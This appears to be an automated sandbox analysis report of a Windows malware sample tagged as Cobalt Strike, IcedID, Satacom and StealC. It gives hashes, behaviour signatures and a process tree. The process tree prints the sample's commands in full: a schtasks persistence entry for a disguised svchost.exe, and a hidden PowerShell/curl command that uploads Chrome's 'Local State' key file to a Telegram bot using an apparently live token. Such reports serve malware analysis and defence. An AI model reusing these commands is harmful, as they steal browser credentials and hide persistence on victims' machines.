Analysis
- max time kernel
149s - max time network
150s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
24/04/2026, 19:48
General
- Target 2026-04-24_b73533bd6040f6ef103be3ea5be0a872_cobalt-strike_icedid_satacom_stealc.exe
- Size 809KB
- Sample260424-yjbfpsbs3m
- SHA256 5088824693715de67685f44071b97c11adf98f2da5e1ef8bc5e517b7d05013aa
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Executes dropped EXE 1 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-04-24_b73533bd6040f6ef103be3ea5be0a872_cobalt-strike_icedid_satacom_stealc.exe"C:\Users\Admin\AppData\Local\Temp\2026-04-24_b73533bd6040f6ef103be3ea5be0a872_cobalt-strike_icedid_satacom_stealc.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /create /f /tn "WinServiceUpdate" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemServices\svchost.exe" /sc onlogon /rl highest2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -W Hidden -C "curl.exe -F chat_id=7159337795 -F document=@'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State' -F caption='B_Key' https://api.telegram.org/bot8546737262:AAFtsOsZeekSL4SYoQ46wEacx9Wghu_w5aE/sendDocument"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" -F chat_id=7159337795 -F "document=@C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State" -F caption=B_Key https://api.telegram.org/bot8546737262:AAFtsOsZeekSL4SYoQ46wEacx9Wghu_w5aE/sendDocument3⤵
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemServices\svchost.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemServices\svchost.exe1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_4az1gucp.nn3.ps1
svchost.exe
memory/772-2-0x00000146D2CE0000-0x00000146D2CF0000-memory.dmp
memory/772-3-0x00000146D2CE0000-0x00000146D2CF0000-memory.dmp
memory/772-9-0x00000146D2C60000-0x00000146D2C82000-memory.dmp
memory/772-11-0x00000146D2CE0000-0x00000146D2CF0000-memory.dmp
memory/772-19-0x00000146BA610000-0x00000146BA61C000-memory.dmp
memory/772-18-0x00000146B8D70000-0x00000146B8DA1000-memory.dmp
memory/772-20-0x00000146BA660000-0x00000146BA672000-memory.dmp
memory/1792-21-0x00000141A9420000-0x00000141A9451000-memory.dmp
memory/3712-14-0x000001DD0BAE0000-0x000001DD0BB11000-memory.dmp
memory/4400-15-0x000001E65B680000-0x000001E65B68C000-memory.dmp